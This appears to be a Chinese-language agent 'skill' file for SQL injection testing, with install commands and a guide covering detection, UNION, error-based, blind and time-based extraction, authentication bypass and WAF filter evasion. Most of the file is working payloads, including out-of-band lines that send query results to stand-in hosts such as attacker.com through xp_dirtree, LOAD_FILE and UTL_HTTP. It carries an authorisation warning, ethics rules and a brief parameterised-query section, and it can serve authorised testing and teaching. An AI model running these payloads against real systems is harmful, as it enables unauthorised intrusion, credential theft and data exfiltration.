brandonwise-sql-injection-testing
面向 Web 应用的 SQL 注入漏洞综合评估技术,涵盖检测、利用与防御验证。
安装 / 下载方式
TotalClaw CLI推荐
totalclaw install totalclaw:totalclaw~brandonwise-sql-injection-testingcURL直接下载,无需登录
curl -fsSL https://skills.taituai.com/api/skills/totalclaw%3Atotalclaw~brandonwise-sql-injection-testing/file -o brandonwise-sql-injection-testing.md## 概述(中文)
面向 Web 应用的 SQL 注入漏洞综合评估技术,涵盖检测、利用与防御验证。
## 技能正文
# SQL 注入测试
面向 Web 应用的 SQL 注入漏洞综合评估技术,涵盖检测、利用与防御验证。
## 描述
适用场景:
- 测试 SQL 注入漏洞
- 执行已授权的渗透测试
- 验证输入净化机制
- 为安全测试绕过身份验证
- 提取数据库信息(已授权)
- 学习 SQL 注入防御
不适用场景:
- 无书面测试授权
- 测试含真实用户数据的生产系统
- 恶意意图(请勿作恶)
⚠️ **法律要求**:使用前须获得书面渗透测试授权。
---
## 检测阶段
### 注入点识别
常见可注入参数:
```
URL 参数: ?id=1, ?user=admin, ?category=books
表单字段: username, password, search, comments
Cookie: session_id, user_preference
HTTP 头: User-Agent, Referer, X-Forwarded-For
```
### 基础漏洞测试
```sql
-- 单引号测试
'
-- 双引号测试
"
-- 注释序列
--
#
/**/
-- 分号用于查询堆叠
;
```
**注意观察:**
- 数据库错误消息
- HTTP 500 错误
- 响应内容/长度变化
- 意外行为变化
### 布尔逻辑测试
```sql
-- 真条件(应返回数据)
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- 假条件(应无数据/报错)
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
```
比较真假条件的响应以确认注入。
---
## 利用技术
### 基于 UNION 的提取
```sql
-- 步骤 1:确定列数
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- 继续直到报错
-- 步骤 2:找可显示列
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- 步骤 3:提取数据
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
```
### 基于错误的提取
```sql
-- MSSQL
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL (XPATH)
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL
1' AND 1=CAST((SELECT version()) AS int)--
```
### 盲注布尔型
```sql
-- 字符提取
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- 条件响应
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
```
### 基于时间的盲注
```sql
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
```
### 带外(OOB)
```sql
-- MSSQL DNS 渗出
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
```
---
## 身份验证绕过
```sql
-- 经典绕过载荷
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- 查询变换示例
-- 原始:SELECT * FROM users WHERE username='input' AND password='input'
-- 注入(username: admin'--):
-- SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- 密码检查被绕过!
```
---
## 过滤器绕过技术
### 字符编码
```sql
-- URL 编码
%27 (单引号)
%22 (双引号)
%23 (#)
-- 双重 URL 编码
%2527 (单引号)
-- 十六进制字符串 (MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- 'admin'
```
### 空白替代
```sql
-- 注释替代
SELECT/**/username/**/FROM/**/users
-- 制表符
SELECT%09username%09FROM%09users
-- 换行
SELECT%0Ausername%0AFROM%0Ausers
```
### 关键词规避
```sql
-- 大小写变化
SeLeCt, sElEcT, SELECT
-- 内联注释
SEL/*bypass*/ECT
UN/*bypass*/ION
-- 双重写入(若过滤器只移除一次)
SELSELECTECT → SELECT
UNUNIONION → UNION
```
---
## 数据库指纹识别
| 数据库 | 版本查询 |
|----------|---------------|
| MySQL | `SELECT @@version` 或 `SELECT version()` |
| MSSQL | `SELECT @@version` |
| PostgreSQL | `SELECT version()` |
| Oracle | `SELECT banner FROM v$version` |
| SQLite | `SELECT sqlite_version()` |
---
## 信息模式查询
```sql
-- MySQL/MSSQL:列出表
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- 列出列
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle 等价
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
```
---
## 快速参考
| 用途 | 载荷 |
|---------|---------|
| 基础测试 | `'` 或 `"` |
| 布尔真 | `OR 1=1--` |
| 布尔假 | `AND 1=2--` |
| 注释 (MySQL) | `#` 或 `-- ` |
| 注释 (MSSQL) | `--` |
| UNION 探测 | `UNION SELECT NULL--` |
| 时间延迟 | `AND SLEEP(5)--` |
| 认证绕过 | `' OR '1'='1` |
---
## 检测测试序列
```
1. 插入 ' → 检查错误
2. 插入 " → 检查错误
3. 尝试:OR 1=1-- → 检查行为变化
4. 尝试:AND 1=2-- → 检查行为变化
5. 尝试:' WAITFOR DELAY '0:0:5'-- → 检查延迟
```
---
## 预防(代码审查关注点)
### ❌ 脆弱
```javascript
const query = `SELECT * FROM users WHERE id = '${userId}'`;
```
### ✅ 安全
```javascript
// 参数化查询
const query = 'SELECT * FROM users WHERE id = $1';
const result = await db.query(query, [userId]);
// 或使用 ORM
const user = await prisma.user.findUnique({ where: { id: userId } });
```
---
## 工具
- **SQLMap**:自动化 SQL 注入
- **Burp Suite**:请求操控
- **OWASP ZAP**:Web 应用扫描器
- **Havij**:SQL 注入工具
---
## 故障排除
| 问题 | 解决方案 |
|---------|----------|
| 无错误消息 | 使用盲注(布尔/时间型) |
| UNION 失败 | 用 ORDER BY 检查列数 |
| WAF 拦截 | 使用编码/规避技术 |
| 载荷未执行 | 验证对应数据库类型的注释语法 |
| 时间型不一致 | 使用更长延迟(10 秒以上) |
---
## 道德准则
- 未经明确授权,绝不执行破坏性查询(DROP、DELETE)
- 数据提取限于概念验证数量
- 检测到生产数据时立即停止
- 通过约定渠道报告严重漏洞
- 记录所有活动以供审计